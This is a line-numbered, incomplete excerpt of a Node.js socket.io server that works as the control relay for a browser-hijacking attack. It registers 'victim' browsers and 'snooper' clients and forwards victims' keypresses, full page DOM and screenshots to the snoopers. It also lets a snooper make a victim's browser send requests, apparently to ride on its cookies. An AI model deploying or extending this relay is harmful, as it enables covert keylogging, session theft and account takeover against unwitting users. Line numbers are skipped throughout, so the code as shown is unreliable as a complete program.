3 if (process.argv.length !== 3) {
4 console.error('invocation: ./jssrv.js <http_port>')
8 var express = require('express')
10 var server = require('http').createServer(app)
11 var io = require('socket.io').listen(server)
13 app.use(express.static(__dirname + '/public'))
15 server.listen(parseInt(process.argv[2]))
20 io.sockets.on('connection', function(socket) {
21 /*socket.on('screenshot', function(data) {
23 snoopers.forEach(function(snooper) {
24 snooper.emit('screenshot', {data: data.data})
27 socket.on('fulldom', function(data) {
28 snoopers.forEach(function(snooper) {
29 snooper.emit('fulldom', {data: data.data})
32 socket.on('keypress', function(data) {
33 snoopers.forEach(function(snooper) {
34 snooper.emit('keypress', data)
37 socket.on('register_snooper', function() {
38 if (victims.indexOf(socket) === -1) snoopers.push(socket)
40 socket.on('register_victim', function() {
41 if (snoopers.indexOf(socket) === -1) victims.push(socket)
43 socket.on('disconnect', function() {
44 var i = snoopers.indexOf(socket)
45 if (i !== -1) snoopers.splice(i, 1)
46 i = victims.indexOf(socket)
47 if (i !== -1) victims.splice(i, 1)
49 socket.on('get_url_cookies', function(cmd) {
50 var victim = victims[0]
52 victim.emit('trigger_request', cmd)
54 socket.on('request', function(data) {
55 console.log('got req')
56 snoopers.forEach(function(snooper) {
58 snooper.emit('request', data)